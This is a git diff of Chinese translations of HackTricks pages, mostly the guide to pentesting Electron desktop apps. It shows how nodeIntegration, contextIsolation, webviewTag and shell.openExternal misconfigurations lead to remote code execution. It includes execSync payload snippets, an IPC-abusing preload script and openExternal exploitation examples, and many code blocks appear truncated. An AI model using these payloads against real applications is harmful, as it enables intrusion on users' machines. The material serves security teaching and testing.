-这些实践和机制是任何希望参与加密货币，同时优先考虑隐私和安全的人的基础。 - -## 参考文献 - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 6a3efc5d3..e80a5e7bb 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## 介绍 -Electron 将本地后端（使用 **NodeJS**）与前端（**Chromium**）结合，但它缺乏现代浏览器的一些安全机制。 +Electron 将本地后端（使用 **NodeJS**）和前端（**Chromium**）结合在一起，尽管它缺乏现代浏览器的一些安全机制。 -通常你会在 `.asar` 应用内找到 electron 应用代码，要获取这些代码需要将其提取： +通常你可能会在 `.asar` 应用中找到 Electron 应用的代码，要获取代码你需要将其提取： ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -在 Electron 应用的源代码中，在 `packet.json` 内，可以找到指定的 `main.js` 文件，其中设置了安全配置。 +在 Electron 应用的源代码中，在 `packet.json` 内，你可以找到指定的 `main.js` 文件，其中设置了 security configs。 ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file ``` Electron 有两种进程类型： -- 主进程（拥有对 NodeJS 的完全访问权限） -- 渲染进程（出于安全原因应限制对 NodeJS 的访问） +- Main Process（具有对 NodeJS 的完全访问权限） +- Renderer Process（出于安全原因应限制对 NodeJS 的访问） ![](<../../../images/image (182).png>) -一个 **渲染进程** 将是一个加载文件的浏览器窗口： +一个 **renderer process** 将是一个加载文件的浏览器窗口： ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **防止 Electron 应用遭受 RCE** or other vulnerabilities if the **设置正确配置**。 +**renderer 进程** 的设置可以在 main.js 文件中的 **main 进程** 内 **配置**。如果 **正确配置**，其中一些配置可以 **防止 Electron application 遭受 RCE** 或其他漏洞利用。 -The Electron application **可以通过 Node apis 访问设备**，尽管可以通过配置来防止： +Electron application **可能访问设备** via Node apis，尽管可以通过配置来阻止： -- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程。 -- **`contextIsolation`** - is `on` by default. If off, 主进程 和 渲染进程 不会被隔离。 -- **`preload`** - empty by default. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. +- **`nodeIntegration`** - 默认为 `off`。如果启用，则允许从渲染进程访问 Node 功能。 +- **`contextIsolation`** - 默认为 `on`。如果关闭，主进程和渲染进程不会被隔离。 +- **`preload`** - 默认为空。 +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它将限制 NodeJS 可以执行的操作。 - Workers 中的 Node Integration -- **`nodeIntegrationInSubframes`** - is `off` by default. -- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **在 iframes 中加载的** within an Electron application. -- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe +- **`nodeIntegrationInSubframes`**- 默认为 `off`。 +- 如果 **`nodeIntegration`** 被 **enabled**，则允许在 Electron application 内 **加载在 iframe 中** 的网页中使用 **Node.js APIs**。 +- 如果 **`nodeIntegration`** 被 **disabled**，则 preloads 将在 iframe 中加载。 Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -来自 [here](https://7as.es/electron/nodeIntegration_rce.txt) 的一些 **RCE payloads**： +一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): ``` ### 捕获流量 -修改 start-main 配置并添加对 proxy 的使用，例如： +修改 start-main 配置并添加 proxy 的使用，例如： ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -如果你能在本地执行一个 Electron App，可能让它执行任意 javascript 代码。请参见： - +如果你能在本地执行一个 Electron App，则有可能使其执行任意 JavaScript 代码。查看： {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -112,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -如果 **nodeIntegration** 设置为 **on**，网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 的功能。例如，在 Windows 上执行 calc 应用的方法是： +如果 **nodeIntegration** 被设置为 **on**，网页的 JavaScript 就可以通过调用 `require()` 轻松使用 Node.js 的功能。例如，在 Windows 上执行 calc 应用的方式是： ```html ``` -> [!NOTE] > **如果 `contextIsolation` 已启用，则此方法无效** +> [!NOTE] > **如果 `contextIsolation` 启用，则此方法无效** ## RCE: XSS + contextIsolation -_**contextIsolation**_ 引入了 **网页脚本与 Electron 内部 JavaScript 代码之间的隔离上下文**，使各自的 JavaScript 执行互不影响。这是消除 RCE 可能性的必要功能。 +The _**contextIsolation**_ 引入了 **web 页面脚本和 Electron 的内部 JavaScript 代码之间的隔离上下文**，使得各自的 JavaScript 执行互不影响。 这是消除 RCE 可能性所必需的功能。 -如果上下文未隔离，攻击者可以： +如果这些上下文没有被隔离，攻击者可以： -1. 执行 **在 renderer 中的任意 JavaScript**（XSS 或导航到外部站点） -2. **覆盖内置方法**，该方法在 preload 或 Electron 内部代码中被使用以劫持功能 -3. **触发** 被 **覆盖的函数** 的使用 +1. 执行 **arbitrary JavaScript in renderer** (XSS or navigation to external sites) +2. **Overwrite the built-in method**，该方法在 preload 或 Electron internal code 中被使用以接管功能 +3. **Trigger** 对 **overwritten function** 的调用 4. RCE? -有两个可以覆盖内置方法的地方：preload 代码或 Electron 内部代码： +There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: {{#ref}} @@ -181,34 +180,34 @@ electron-contextisolation-rce-via-ipc.md ### 绕过点击事件 -如果在点击链接时存在限制，你可能可以通过 **中键点击**（而不是常规的左键点击）来绕过它们 +如果在点击链接时有施加限制，你可能可以通过**使用中键点击**而不是常规的左键点击来绕过它们。 ```javascript window.addEventListener('click', (e) => { ``` ## 通过 shell.openExternal 的 RCE -有关此示例的更多信息，请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +有关这些示例的更多信息，请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -在部署 Electron 桌面应用程序时，确保 `nodeIntegration` 和 `contextIsolation` 的设置正确至关重要。已经确认，启用这些设置可以有效阻止针对 preload scripts 或来自主进程的 Electron 原生代码的 **client-side remote code execution (RCE)**。 +在部署 Electron 桌面应用时，确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已证明，启用这些设置可以有效防止主进程发起、针对 preload scripts 或 Electron 原生代码的 **client-side remote code execution (RCE)**。 -当用户与链接交互或打开新窗口时，会触发特定的事件监听器，这些监听器对应用的安全性和功能性至关重要： +当用户与链接交互或打开新窗口时，会触发特定的事件监听器，这些监听器对于应用的安全性和功能性至关重要： ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -这些监听器被桌面应用程序**覆盖**以实现其自身的**业务逻辑**。应用会评估导航的链接应在应用内部打开还是在外部浏览器中打开。该决定通常通过函数 `openInternally` 做出。如果此函数返回 `false`，则表示该链接应在外部打开，使用 `shell.openExternal` 函数。 +这些侦听器被桌面应用程序**覆盖**以实现其自己的**业务逻辑**。应用程序会评估导航链接是应在内部打开还是在外部浏览器中打开。这个决策通常通过一个函数，`openInternally`，来做出。如果该函数返回 `false`，则表示该链接应在外部打开，使用 `shell.openExternal` 函数。 -**下面是简化的伪代码：** +**Here is a simplified pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS 安全最佳实践建议不要通过 `openExternal` 接受不受信任的内容，因为这可能通过各种协议导致 RCE。操作系统支持不同的协议，可能触发 RCE。有关此主题的详细示例和进一步说明，请参考 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)，其中包含可利用该漏洞的 Windows 协议示例。 +Electron JS 安全最佳实践建议不要使用 `openExternal` 函数接受不受信任的内容，因为这可能通过各种协议导致 RCE。操作系统支持不同的协议，这些协议可能触发 RCE。有关此主题的详细示例和进一步说明，请参阅 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)，其中包含能够利用此漏洞的 Windows 协议示例。 在 macos 中，`openExternal` 函数可以被利用来执行任意命令，例如 `shell.openExternal('file:///System/Applications/Calculator.app')`。 -**Windows 协议利用示例包括：** +**Examples of Windows protocol exploits include:** ```html ``` -## RCE: webviewTag + vulnerable preload IPC + shell.openExternal +## RCE: webviewTag + 有漏洞的 preload IPC + shell.openExternal 该漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。 -The **webviewTag** 是一个 **已弃用的特性**，允许在 **renderer process** 中使用 **NodeJS**，应当禁用，因为它允许在 **preload context** 中加载脚本，例如： +The **webviewTag** 是一个 **已弃用的功能**，允许在 **renderer process** 中使用 **NodeJS**，应当禁用，因为它允许在 preload context 中加载脚本，例如： ```xml ``` -因此，攻击者如果成功加载任意页面，可以利用该标签来**load an arbitrary preload script**。 +因此，能够加载任意页面的攻击者可以使用该标签来 **load an arbitrary preload script**。 -该 preload script 随后被滥用去调用一个**vulnerable IPC service (`skype-new-window`)**，该服务会调用 **`shell.openExternal`** 从而获得 RCE： +随后，这个 preload script 被滥用以调用一个 **vulnerable IPC service (`skype-new-window`)**，该服务调用了 **`shell.openExternal`** 从而获得 RCE： ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -249,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do }, 5000); })(); ``` -## 阅读内部文件：XSS + contextIsolation +## 读取内部文件: XSS + contextIsolation -**禁用 `contextIsolation` 使得可以使用 `` 标签**，类似于 `